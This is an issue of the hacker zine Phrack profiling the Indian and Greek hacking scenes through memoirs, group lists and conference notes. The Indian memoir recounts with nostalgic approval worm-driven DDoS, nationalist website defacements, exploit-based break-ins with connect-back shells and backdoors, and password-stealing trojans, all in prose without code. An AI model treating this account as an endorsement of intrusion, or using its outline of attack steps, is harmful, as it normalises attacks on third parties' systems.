|
"Any competition is the entertainment of the rulers at the expense
|
|
of the slaves"
|
|
|
|
--[ 9 - Greetz
|
|
|
|
t3kn10n of Ac1dB1tch3z, zf0 ppl, spender for being the greatest
|
|
and whitest whitehat of all times, kevin mitnick for being owned so
|
|
many times using the social engineering skills himself pioneered,
|
|
king cope for not being able to find a bug on himself but instead
|
|
using "hack your mind" tricks to use other people's bugs/codes in
|
|
his exploit codes, Jesus Christ, Hermes, Socrate and finally, my
|
|
mentor, Pythagoras
|
|
|
|
--[ EOF
|
|
|
|
==Phrack Inc.==
|
|
|
|
Volume 0x0e, Issue 0x43, Phile #0x10 of 0x10
|
|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=----------------------=[ International scenes ]=-----------------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=------------------------=[ By Various ]=------------------------=|
|
|
|=------------------------=[ <various@nsa.gov> ]=------------------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|
|
Look at the last Phrack issues.
|
|
Look at 2010 security CONs.
|
|
Look at any kind of public activities involving hackers.
|
|
|
|
West Europe, North America, Asia are shining. No need to run an agency to
|
|
see that and sharing informations with the according scenes is child's
|
|
play. But what about sharing with other countries?
|
|
|
|
For the 25th birthday of Phrack, we're very proud to present you two
|
|
oustanding scene philes. One will describe you the hacking scene of the
|
|
amazing India which can't be ignored anymore on the IT playground. The
|
|
other one will describe the Greek scene. Yes you've heard of them through
|
|
blog posts, CONs and even Phrack. You simply didn't pay attention ;)
|
|
|
|
Enjoy the reading of this phile.
|
|
|
|
-- The Phrack Staff
|
|
|
|
|
|
---
|
|
|
|
The Indian Hacking scene
|
|
Unofficial memoirs of the Desi h4x0rs
|
|
By anonymous null community member
|
|
|
|
1. Preamble
|
|
2. Introduction
|
|
3. Hacker Groups
|
|
4. Hacker Cons
|
|
5. Memoirs of the underground
|
|
6. Future
|
|
|
|
--[ 1 - Preamble
|
|
|
|
Jai Jawan Jai Kissan
|
|
(no it has nothing to do with the song Jai Ho :-P, just felt like writing
|
|
something in Hindi). This article is a composition of interviews with/text
|
|
directly taken from the hackers in the Indian underground (and the
|
|
above-ground :-P). If it offends the reader in anyway.........feel free to
|
|
complain to your mom about it:-P.
|
|
|
|
--[ 2 - Introduction
|
|
|
|
Before I start I must admit that we have been really really late in the
|
|
hacking scene as a whole. Some say it has to do with the cultural ethos and
|
|
the prevalent business culture in India, while some propose that Indians
|
|
culturally have been known as non aggressive & peace loving (Doh! Yeah
|
|
right..Like the F#@$ing stereotypical dumb Indian characters in hollywood
|
|
movies) and focus has been on ethical hacking and creation of software to
|
|
benefit world at large rather than cause destruction. The activities of
|
|
hacker groups started to emerge with the beginning of year 2K.
|
|
|
|
--[ 3 - Hacker Groups
|
|
|
|
There have been many hacker groups in India since 2k. Some are noted for
|
|
their notorious behavior.
|
|
|
|
1. Indian Snakes. Indian snakes was a closed underground community of
|
|
hackers who were on the top of the scene in the early 2000s. They are
|
|
also noted for the YAHA worm that they had written.
|
|
2. hacking-truths.net (2005-2008) stopped because of personal problems.
|
|
Restarted in 2010. Activities malware dev/hacking.
|
|
3. h4cky0u. It started around 2003 Website: h4cky0u.org. The activities
|
|
included defacing, exploit dev, botnets etc. It died in 2006 due to
|
|
some personal differences between the staff. It was reopened as
|
|
h4ck-y0u, sadly h4ck-y0u also stopped after one year of its existence
|
|
due to cyber crime activities, financial issues. H4cky0u was started
|
|
again by an American who went by the handle "Big Boss" and we haven't
|
|
heard much about it after that.
|
|
4. n|u (null security community). It started in 2008 and has spread to 6
|
|
cities in India namely Bangalore, Pune, Delhi, Mumbai, Hyderabad and
|
|
Bhopal. Their activities include vulnerability research, exploit dev,
|
|
projects, disclosures, nullcon hacker conference. It is more of an
|
|
OWASP style community sans the limitation of only web app security
|
|
research. It is also registered with the Govt. Of India as a non-profit
|
|
organization.
|
|
5. Andhra hackers. Started in late 2000s. It is a forum like portal.
|
|
Activities include sharing security information.
|
|
6. ICW (Indian Cyber warriors) is an off-shoot of Andhrahackers and
|
|
started around 2008. This is a hactivist group with activities
|
|
including defacing Pakistani websites.
|
|
7. Securitytube.net. It is not a group per se. It is a portal that has
|
|
lots of security videos, question/answer section much like
|
|
stackoverflow. It was started somewhere around 2008 or 2009.
|
|
8. Indishell. It started in 2009. The main guys behind indishell are
|
|
Lucky, mr. 52, jackh4xor, silentp0sion. It is again a hacktivist group
|
|
and majorly into defacing pakistani websites. It was recently stopped
|
|
due to some unknown issues and has re-emerged at the time of writing
|
|
this article. Activities include defacing websites.
|
|
9. ICA (Indian Cyber army) is an off-shoot of Indishell with mostly the
|
|
same staff as Indishell. It is also a defacer group. Noted for defacing
|
|
sites including Pakistani ISP national telecommunication corporation
|
|
pakistan (Defaced page http://www.ntc.net.pk/news.html)
|
|
10. Fake ICA. There is yet another ICA (cyberarmy.in) which is announced as
|
|
fake ICA by the actual ICA group. One glance at the website content
|
|
tells you that there is some truth to what the actual ICA(indishell)
|
|
guys and other say and reminds you of the infamous plagiarism cases
|
|
(Ah! Any Indian h4x0r's favourite topic when they feel like bitching
|
|
about something :-P)
|
|
|
|
--[ 4 - Hacker Cons
|
|
|
|
1. ClubHack. http://clubhack.com The first in the series of hacker cons.
|
|
It is held in Pune, one of the software hubs in India. It started in
|
|
2007 and is running it's 4th edition this dec (2010).
|
|
2. nullcon. http://nullcon.net The first community driven hacking
|
|
conference, organized and managed by null community members. It started
|
|
this year and the next edition is in Feb 2011. It is held in Goa. The
|
|
party hub of India.
|
|
3. Cocon. http://www.informationsecurityday.com/c0c0n/ 1st edition held in
|
|
Aug 2010. earlier held as part of information security day. It is held
|
|
in Cochin.
|
|
4. Owasp + Securitybyte Appsec Asia http://securitybyte.org. More of a
|
|
corporate conference with the suited people around :-).
|
|
|
|
--[ 5 - Memoirs of the underground - By dot
|
|
|
|
|
|
=[ Past.. that's where all the nostalgia and fun lies :)
|
|
|
|
So it all started sometime during late 2001 when a new variant of Yet
|
|
Another "Hello World" Application spread rapidly via mostly social
|
|
engineering mails and Outlook Express invalid MIME type exploit (similar to
|
|
Klez.?). AV technology was not really matured back then, Kaspersky was not
|
|
there with its PDM modules or its emulation heuristics, Symantec did not
|
|
conceived SONAR or its Reputation Technology, it was practically open
|
|
season for anybody with some programming skills to write and spread a
|
|
successful worm. But amazingly a very nice and simple HTTP ping module was
|
|
built into the program which used infected systems to ping (simple GET /)
|
|
certain government website across the border towards the friendly
|
|
neighbourhood creating a DDoS condition. News !!! News !! News !!! Cyber
|
|
War between two countries.. Beware! iNDian sNakes are here !!! Hackers
|
|
hacking each other's websites. Unicode double escape? Front Page is cool,
|
|
lg7 (but where is the pass? :P)? dtspcd? little they knew, early stage
|
|
script kids playing with public tools and little common sense without basic
|
|
computer science background.
|
|
|
|
I don't speak for the unknown elites before me who might be able to
|
|
represent the scene in a much better way than me leaving me to a
|
|
1337-wannabe state.. I don't even speak for the Indian Snakes guy(s) who
|
|
taught me quite a lot during my early days but I think we started quite
|
|
late. Aleph1 had already written about how to smash the stack, Solar
|
|
Designer had already found and exploited a heap overflow bug, Format String
|
|
exploitation technique was also known among multiple circles, the world was
|
|
filled with 7350*.c.. But fortunately Security Industry was not there yet
|
|
or at least not so prevalent in this part of the world. We are lucky to be
|
|
driven by the curiosity hormones to explore the black arts of hacking which
|
|
ofcourse later turned out to be obvious computer science with a bit of
|
|
innovation and passion to solve difficult problems. I remember playing with
|
|
some MSN Trojan to steal passwords, I remember installing Barok in various
|
|
Cyber Cafes, I remember installing Red Hat 6.2 and feeling elite after I
|
|
could connect to my dial-up internet and browse the web, infact I remember
|
|
doing almost everything for being a perfect script kid. I also remember
|
|
finding myself neglecting everything in life and reading Phrack during all
|
|
those sleepless nights.. Smashing the stack, Voodoo Malloc Tricks, Once
|
|
upon a Free.. Then after sometime actually solving PTP/0xbadc0ded
|
|
exploitation challenges and hanging around with those awesome and nice
|
|
people in their IRC.. but that was kind of late, a bit surpassed the prime
|
|
time for ideal initiation.
|
|
|
|
So getting back to the history part, here is how it goes: If you write a
|
|
worm and leave an e-mail address in messages it drops, you are bound to get
|
|
a lot of fan/hate mails. It is actually a good methodology to build a
|
|
community of rebels (??) or oh well people who liked Fight Club :) I think
|
|
the creators of Yaha did not initially expected to build a community, their
|
|
entire purpose was to retaliate to web defacer groups like G-Force, AIC
|
|
etc. but they actually ended up building a small and highly closed/private
|
|
community and am happy to have known few of them. Although we had some
|
|
Israeli friends (hi root, hi dak :)) the privateness of the group actually
|
|
created a problem, we were starved ! Defacing seemed boring, writing
|
|
exploits for public vulnerabilities were fun but quite challenging at that
|
|
time, their weapons were old and obsolete. So we decided to look around and
|
|
the obvious result was #darknet :)) Haha.. dvdman, nolife and the massive
|
|
list of ops there. Immediate learning from #darknet was to idle in #phrack
|
|
as well for possible 0day drops :P.. Next learning was to read ~el8 and be
|
|
an anti-establishment, anti-security-industry h4x0r !! Armed with newly
|
|
made l33t friends and their dropped exploits (yo! we had 0days..) it was
|
|
time to restart the so called cyber war in retaliation to multiple groups
|
|
spreading anti-India propaganda via defaced websites.. thus born "Indian
|
|
Hackers Club" :) Along with a new group name, an IRC server was created on
|
|
a box with 128kbps or so ADSL line at a friend's (hi rex) work place (truly
|
|
BoFH) which later got shifted to a .il server. We began meeting like minded
|
|
individuals and groups... came across with Cyber Yoddha, Hindustan Hackers
|
|
Organization (IIT had massive resources for hacking huh? :P), Emperor (baap
|
|
of all h4x0rs? :)), Nirvana (our own govboi :D) and slowly our IRC idlers
|
|
list grew. Just like any other similar IRC, we began exercising power,
|
|
control and ego... Ops were considered to be l33t, +v dudes were considered
|
|
decent and the rest were considered to be wannabe creatures for the
|
|
operator's show off needs.
|
|
|
|
Then came the day of IIS WebDAV vulnerability: Kralor probably wrote the
|
|
first public exploit which we took, modified it to support different
|
|
shellcodes, tested it extensively and developed an internal kiddie friendly
|
|
version and so began a moderate scale defacing of friendly neighbourhood
|
|
websites and confrontation with FBH (Federal Bureau of Hackers later turned
|
|
Federal Black Hats (too much PHC influence?)). Netcraft was used to find
|
|
suitable targets then instant connect back shells and tftp in the backdoor
|
|
and defacement page :) Later I learned FBH guys also used the similar
|
|
vulnerability to deface Indian websites during that time however they
|
|
either wrote or managed to obtain a mass rooter version of it.
|
|
Unfortunately (perceptions change with age though) we didn't really have a
|
|
lot of CVV2s back then else we could have also used techniques like: buy a
|
|
shared web space on target box and use kernel exploits (ptrace_kmod fun!)
|
|
to root and deface for l33t show off. But yes, we would like to laughingly
|
|
say we pwned r4t's brand new shell server before the h0no guys using
|
|
trojaned exploits.. err oh well, we pwned a lot of funny people with
|
|
trojaned/fake exploits. I remember once dec0der @ #ukr (or something i
|
|
forgot) told me that I change boxes like he change underwares considering I
|
|
was logging in from brand new boxes every other day.
|
|
|
|
Later on many of us made friends with people at #darknet, #m00, #c/c++ and
|
|
even some old timers from #phrack. One of the funny moments happened when I
|
|
was working for an .eu company along with another guy hired by them and
|
|
after working for a few days I found that guy is dvorak.. and we had a nice
|
|
laugh.
|
|
|
|
So all in all, during my time, the underground here in India was very small
|
|
and pretty much a closed group. Although we saw a couple of guys popping up
|
|
with security forums or websites once in a while we never really interacted
|
|
too much. We made a lot of friends world wide but the state of underground
|
|
here during those days was no way significant compared to .eu or .us.
|
|
|
|
|
|
=[ The evolution.. Towards sanity
|
|
|
|
The Last Stage of Delirium (LSD-PL) changed many of us! The 5th Argus
|
|
Hacking challenge, the Solaris LDT bug (reminds me of http://git.kernel.org
|
|
/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=dc63b52673d71f9d
|
|
49b9d72d263a9f32df18c3ee) exploitation writeup, Win32/Unix Assembly
|
|
Component Development, JVM Vulnerabilities etc were awesome and inspiring
|
|
(yea I remember GOBBLES too :)) We decided its time to grow up and learn
|
|
something real. Enough of (0xc0000000 - blah blah) type local stack
|
|
overflows, enough of exploitation challenges (PTP was good.. ok!) and thus
|
|
we created a so called Research Team with a website and a bunch of exploits
|
|
written for public vulnerabilities. Proving lighthttpd header folding bug
|
|
to be exploitable was an interesting achievement (Securityfocus initially
|
|
ranked it as DoS only). Learning about exploitation techniques for NULL
|
|
pointer dereference kernel bugs from an .eu friend and realizing the
|
|
obvious sometime before the first public exploit posted on DailyDave list
|
|
was also something to remember. Goin a bit back in the history, one of us
|
|
worked on a hobby OS project (based on Bach's Design of Unix OS) which
|
|
actually made rest of us (at least me) learn a lot and spend a lot of time
|
|
on websites like osdever.net etc to learn something real, learning to debug
|
|
an OS kernel was something which helped me solve a lot of problems in later
|
|
days. Finally reached a state where the Intel Manuals seemed to be useful.
|
|
|
|
Starting from 2005 onwards or so, Security Companies started getting
|
|
prevalent here, through various contacts an IPS startup contacted many of
|
|
us for job offers. It was my early college days back then so I could not
|
|
consider but others went ahead and that was probably the first time many of
|
|
us learned to go ahead with bigger and better things in life like having a
|
|
full time security job or in other words hack even when it doesn't makes
|
|
you happy, although yes much later we learned hacking at workplace on a
|
|
daily basis is an opportunity which is not easily achievable not just in
|
|
India but throughout the world... oh I must also mention, by now we learned
|
|
to use the word "hack" in a bit more "generic" and "abstract" sense :D
|
|
|
|
|
|
=[ Present.. The era of selling out..
|
|
|
|
Just like anywhere else, Security Industry is pretty much here now. A lot
|
|
of security startups and moderately matured companies has been developed
|
|
here working on consultant driven pentesting to security products
|
|
development etc. Most of the old guys are either working either for some
|
|
Security company or working as programmers in some software development
|
|
company. As far as I know, there is no significant underground here
|
|
although there are people who are pretty much involved in interesting stuff
|
|
but at a different scale in multinational groups. Web Application Security
|
|
is so hot these days that I see most of the younger people are focusing
|
|
totally on Web Application security vulnerabilities without looking into
|
|
lower level software security.
|
|
|
|
--[ 6 - Future
|
|
|
|
The recent shift in the mind set of some of the Govt. intel agencies
|
|
towards opening up to the hacker community has brought about a lot of
|
|
changes in the hacker scene in India. This collaboration is only going to
|
|
increase the moral of the hacker community and thereby also helping the
|
|
govt. in it's own way. As I mentioned we started a little late which is
|
|
applicable for the Govt. as well, but as they say - better late than never.
|
|
Things have started to pick up and we will see more of intel-hacker
|
|
collaboration in the future which may prove to be good/bad for some, but
|
|
yes the intent is to establised cyber warfare strategies and action plans,
|
|
which we will start to see in the next 5 years.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
An overview of the Greek computer underground, part 1
|
|
by two (not really) anonymous G(r)eeks - anonymous_gr@phrack.org
|
|
|
|
|
|
--[ Table of contents
|
|
|
|
1 - Introduction
|
|
2 - Present
|
|
2.1 - GRHACK
|
|
2.2 - Meetings
|
|
2.2.1 - 0x375
|
|
2.2.2 - AthCon
|
|
2.2.3 - 2600
|
|
2.3 - Online forums
|
|
2.4 - Controversial groups
|
|
2.5 - Demo scene
|
|
2.6 - Pentesting community
|
|
2.7 - Open source related events
|
|
2.8 - Academia
|
|
3 - Conclusion, what does the future hold
|
|
4 - References
|
|
|
|
|
|
--[ 1 - Introduction
|
|
|
|
In this brief article we will attempt to give an overview of the current
|
|
state of the Greek computer underground scene. However, since the strictly
|
|
underground scene in Greece is very small, we will also include some
|
|
information about other active IT security related groups and forums. There
|
|
is a going to be a second part to this article at a future issue in which
|
|
we will present in detail the past of the underground Greek scene in all
|
|
its gory glory.
|
|
|
|
Before we continue let's get something out of the way. We know that a lot
|
|
of people act offended when they hear the words "Greek" and "scene" in the
|
|
same sentence. They flat out reject that anything is currently happening
|
|
in the Greek underground and mumble about how much better things were
|
|
during the past years. We are sure that the exact same behavior exists in
|
|
the scene of other countries as well. We do not agree with this behavior.
|
|
Yes, the present Greek "scene" is small, obscure, full of ignorant and
|
|
incompetent people. But that was also the case in the past. But there were
|
|
and there are exceptions. If you are part of the scene (Greek or
|
|
international) you probably know the exceptions. We need to focus more on
|
|
what is good and try to bring that forward. Yes, that means you too.
|
|
|
|
--[ 2 - Present
|
|
|
|
In this section we will introduce you to the present and recent past of the
|
|
Greek hacking scene, roughly from 2005 to 2010. We will avoid mentioning
|
|
nicknames and handles of specific people since we feel that this has led to
|
|
fragmentation of the scene in the past. Instead we will only mention group
|
|
names.
|
|
|
|
----[ 2.1 - GRHACK
|
|
|
|
One of the most interesting things to note about the Greek underground
|
|
scene, was the fact that although there were plenty of skilled
|
|
individuals, no one ever tried to unite them. Most of them used to work
|
|
alone, isolated from the rest. It was obvious that something had to be
|
|
done to help those individuals come together, exchange ideas, cooperate
|
|
and contribute. It was then, about two years ago, when two guys from
|
|
the Engineering school of A.U.Th. (Thessaloniki, Greece) grabbed a bunch
|
|
of redundant boxes, set up a CVS server, a website, an IRC network and
|
|
published an open invitation [GRH]. GR Hack was born. The fact that
|
|
Greek Universities are modern sanctuaries and the fact that academics
|
|
are protected by asylum laws, made the location an ideal place for a
|
|
hacking community.
|
|
|
|
Although not a team in the strict sense, the GR Hack community is still a
|
|
very active think tank composed of well known and respected Greek hackers.
|
|
Members and friends of GR Hack have published work in Phrack ([ARG], [ITH],
|
|
[HUK]), have participated in security conferences like AthCon and Black Hat
|
|
and have had a great time meeting in real life, drinking alcohol and
|
|
sharing knowledge. The core of the community consists of a circle of
|
|
trusted individuals (software analysts/reverse engineers, old school
|
|
hackers, administrators etc.) who are more than willing to cooperate with
|
|
other people that take security seriously and have a passion for hacking.
|
|
|
|
----[ 2.2 Meetings
|
|
|
|
------[ 2.2.1 0x375
|
|
|
|
The need for an event came as no surprise. Everyone agreed that the local
|
|
underground scene had been inactive for quite a long time and that a
|
|
meeting (preferably with a catchy name!) would be the ideal motive for all
|
|
those who were willing to share their ideas but never had the chance to.
|
|
The place was Thessaloniki, and the name was picked to be Thessaloniki
|
|
Tech Talk Sessions or just TTTS. Since TTTS was not cool enough, the final
|
|
name for the meeting was chosen to be 3TS and was later settled to 0x375
|
|
(almost overnight!). During 0x375 meetings people give presentations
|
|
on technical topics, have an open discussion and an afternoon full of
|
|
fun. Currently, the Greek underground scene is preparing for 0x375 0x03
|
|
but the lack of people willing to contribute has made the whole process
|
|
a difficult task. 0x375 material is published at [375].
|
|
|
|
------[ 2.2.2 AthCon
|
|
|
|
Following the classic naming convention of other "cons", three people from
|
|
Athens decided to organize AthCon, an IT security conference that would
|
|
take place in Athens, Greece. The AthCon staff announced an open call for
|
|
papers and promised everyone that it was going to be a cool event. And,
|
|
yes, it was. The first ever AthCon took place in June 2010 and was actually
|
|
the first "con" to take place in Greece. The event featured a capture the
|
|
flag contest, a closing party and cool presentations. It's interesting to
|
|
note that AthCon attracted a lot of people active in the international
|
|
security scene [ATH] both as speakers or as part of the audience. AthCon
|
|
was the perfect place for everyone to meet in real life and have fun. We
|
|
would, definitely, like to see more security conferences taking place in
|
|
Greece in the near future.
|
|
|
|
------[ 2.2.3 2600
|
|
|
|
According to the official Greek 2600 site [260], 2600 meetings started
|
|
taking place in Athens back in 1999 and, as far as the authors know,
|
|
they are still frequently organized. During 2600 meetings various people,
|
|
mainly young inexperienced ones (and that doesn't really matter), meet to
|
|
have a drink and talk about technical matters. Although we haven't
|
|
personally attended any of those meetings lately, we believe that they
|
|
serve a good purpose.
|
|
|
|
----[ 2.3 Online forums
|
|
|
|
We live in the, so called, "century of information" and it seems that
|
|
Greek hackers have kept up with the pace information travels. Fortunately,
|
|
Greeks are quite active when it comes to setting up discussion forums and
|
|
blogs. P0wnbox [PWN] is such a discussion forum. Although most of its
|
|
members are freshmen (in a good sense), there are some interesting
|
|
discussions on that board from time to time.
|
|
|
|
Hey, we are pretty sure you already know xorl's blog, right? It's probably
|
|
one of the most famous security blogs around and it's mostly dedicated
|
|
to vulnerability analysis. The pace by which xorl posts stuff may cause
|
|
you vertigo! Xorl is doing a great job and it's obvious that he spends
|
|
a quite fair amount of his daily free time on posting things. His blog
|
|
[XRL] is well worth visiting if you don't already know it.
|
|
|
|
----[ 2.4 - Controversial groups
|
|
|
|
In the recent past there have been a number of groups doing defacements and
|
|
fighting each other with childish insults. One of the most high profile
|
|
cases of this is the CERN defacement. There are tons of articles on the
|
|
Internet about the CERN incident and the events associated with the
|
|
defacement of the lxplus.cern.ch web server. We will merely state the
|
|
obvious. The content of the CERN defacement put blame on the same behavior
|
|
that itself was perpetuating.
|
|
|
|
Another recent trend in the Greek web defacement "scene" is the emergence
|
|
of extreme nationalistic groups. These groups attack web sites associated
|
|
with neighboring countries and deface them with nationalistic content and
|
|
messages. One of these groups uses a name (Greek Hacking Scene) quite
|
|
similar to a historic Greek hacking group (Greek Hackers Society). Their
|
|
reasons for using a similar name are quite obvious. We personally believe
|
|
that what nationalism stands for goes against the spirit of hacking, and we
|
|
will leave it at that.
|
|
|
|
Last but not least, Hack4Fame was a self-proclaimed hacking group
|
|
supposedly composed of blackhat hackers from various countries including
|
|
Greece. However, it was obvious to most of us who the single person behind
|
|
Hack4Fame was. In February 2010, Hack4Fame used standard media tricks to
|
|
publish data that were supposedly stolen after a hack in a Greek bank. The
|
|
data, which in reality were circulating the Greek underground scene for
|
|
more than 8 years, belonged to other individuals who either hacked the
|
|
aforementioned bank in the past or had performed fully legal penetration
|
|
tests. We don't know what the motive was for Hack4Fame but we definitely
|
|
disagree with his behavior, especially when it comes to publishing third
|
|
party private material belonging either to a company or to individuals.
|
|
|
|
----[ 2.6 - Demo scene
|
|
|
|
The demo scene has always been very closely associated to the hacking scene
|
|
having forked from it. While in the past the demo scene in Greece was quite
|
|
active, several demo parties were organized in a yearly basis with the most
|
|
famous one being The Gardening [GRD], it is currently in a state of
|
|
hibernation. An example of this sad state of affairs is that the past
|
|
Greek demo scene online home is now a web page full of advertisements
|
|
[DMS].
|
|
|
|
However there is one Greek demogroup that isn't just currently active, but
|
|
is also transcending the borders of Greece and is successfully
|
|
participating in international demo scene competitions [ASD]. Andromeda
|
|
Software Development (ASD) were formed in 1992 and participated for the
|
|
first time in a Greek demo party in 1995 (The Gardening 1995). They
|
|
originally developed demos on MS DOS with Borland Turbo Pascal and inline
|
|
16-bit assembly. In 2003 they competed for their first time in an
|
|
international event (Assembly 2003) and in 2005 they won that year's
|
|
Assembly demo party. Since then they regularly compete in international
|
|
demo scene events and have won many times [AWP].
|
|
|
|
----[ 2.6 - Pentesting community
|
|
|
|
Although we all like to pretend that the commercial penetration testing
|
|
community has little to do with the underground, we all know that it
|
|
actually has much to do with us. In Greece many, surely not all though,
|
|
pentesters that work for security companies come from an underground
|
|
hacking background. Others try to become part of the hacking scene in
|
|
order to leech technical know-how, code and sometimes even ready-to-use
|
|
weaponized exploits. Lately we have seen the emergence of a particular
|
|
community of people that do a security MSc degree at a semi-respectable
|
|
UK university (no need to mention it by name, it is well-known in security
|
|
circles), return to Greece and pretend to know everything there is to know
|
|
about "hacking". These people fail to understand the importance of the
|
|
underground and their leeching behavior actively contributes to the demise
|
|
of the already weak Greek scene. We all hope that Greek security companies
|
|
will start to publish tools, give talks and generally support and
|
|
contribute back to the underground hacking scene that has taught them so
|
|
much in their early days.
|
|
|
|
----[ 2.7 - Open source related events
|
|
|
|
The open source movement has seen a certain degree of acceptance and has
|
|
gained several followers and evangelists in Greece. As part of this
|
|
movement there have been several communities that have and still are
|
|
organizing technical talks and events. Although these events are not
|
|
primarily focused on security topics, there have been interesting security
|
|
talks from time to time. The Software Libre Society at the University of
|
|
Piraeus [SLS] deserves a special mention since it has been meeting on a
|
|
regular basis and most talks presented there are of an acceptable to high
|
|
technical level.
|
|
|
|
----[ 2.8 - Academia
|
|
|
|
Last but not least, it's quite encouraging that Greek universities
|
|
have recently started dealing with security more seriously. There are
|
|
several opportunities for a student to do some serious research for
|
|
a thesis, an MSc or a PhD that focuses on security both formally and
|
|
practically. This is good news since a couple of years ago the phrase
|
|
"applied security research" sounded alien to most academics. Namely, the
|
|
Electrical and Computer Engineering Department of A.U.Th. (Thessaloniki,
|
|
Greece) and N.T.U.A. (Athens, Greece) as well as the CS department of the
|
|
University of Piraeus (Piraeus, Greece) are currently some of those places
|
|
where one can treat security more academically.
|
|
|
|
Another academic institute that is actively doing security research is ICS,
|
|
FORTH in Heraklion, Crete [ICS]. Among their research topics are large
|
|
scale malware analysis, the monitoring of Internet for malware traffic and
|
|
malware epidemics. They have developed their own honeypot/honeynet software
|
|
which runs on a host machine and binds several well-known ports that aren't
|
|
used by the host. All the traffic that comes to these ports is forwarded to
|
|
their own backend infrastructure for further analysis. Furthermore, they
|
|
have recently started doing research on GPU-hosted malware.
|
|
|
|
Unfortunately, due to certain narrow minded extremists that represent
|
|
various political (and mostly partisan) views, Greek universities are still
|
|
quite far from doing some real, valuable research and even further from
|
|
collaborating with the very few capable security companies. Analysis of the
|
|
Greek educational system is a very interesting topic that may teach you all
|
|
how to respect the fact that you were born in a more civilized country :-)
|
|
|
|
--[ 3 - Conclusion, what does the future hold
|
|
|
|
The near future seems debatable for the Greek computer underground scene.
|
|
The fact that it is so small means that it is flexible and adaptable, but
|
|
also means that fragmentations and grudges between individuals can wound it
|
|
gravely. The Greek scene cannot be forcefully resurrected, that would only
|
|
lead to more mindless zombies with no motivation and no passion for
|
|
hacking. We would like to conclude with a positive message and we feel
|
|
that the conclusion of the "Underground Myth" article in issue 65 applies
|
|
well to the current situation in Greece [UND]:
|
|
|
|
"All that remains is to relax, to do what you enjoy doing; to hack purely
|
|
for the enjoyment of doing so. The rest will come naturally, a new
|
|
scene, with its own traditions, culture and history. A new underground,
|
|
organically formed over time, just like the first, out of the hacker's
|
|
natural inclination to share and explore."
|
|
|
|
We hope you enjoyed this brief overview of the current state of the Greek
|
|
security scene. Greets and thanks to the people that provided extra
|
|
information on certain topics. You know who you are.
|
|
|
|
Stay tuned for the second part of this article.
|
|
|
|
--[ 4 - References
|
|
|
|
[GRH] http://www.grhack.net/
|
|
[ARG] http://www.phrack.org/issues.html?issue=66&id=8#article
|
|
[ITH] http://www.phrack.org/issues.html?issue=66&id=9#article
|
|
[HUK] http://www.phrack.org/issues.html?issue=66&id=6#article
|
|
[375] https://www.grhack.net/files/0x375/
|
|
[ATH] http://www.athcon.org/speakers/
|
|
[260] http://www.2600.gr/
|
|
[PWN] http://www.p0wnbox.com/
|
|
[XRL] http://xorl.wordpress.com/
|
|
[GRD] http://www.deus.gr/gardening.html
|
|
[DMS] http://www.demoscene.gr/
|
|
[ASD] http://www.asd.gr/
|
|
[AWP] http://en.wikipedia.org/wiki/Andromeda_Software_Development
|
|
[ICS] http://www.ics.forth.gr/
|
|
[SLS] http://rainbow.cs.unipi.gr/projects/oss/
|
|
[UND] http://phrack.org/issues.html?issue=65&id=13#article
|
|
|
|
--[ EOF
|
|
|
|
Well, there you have it. |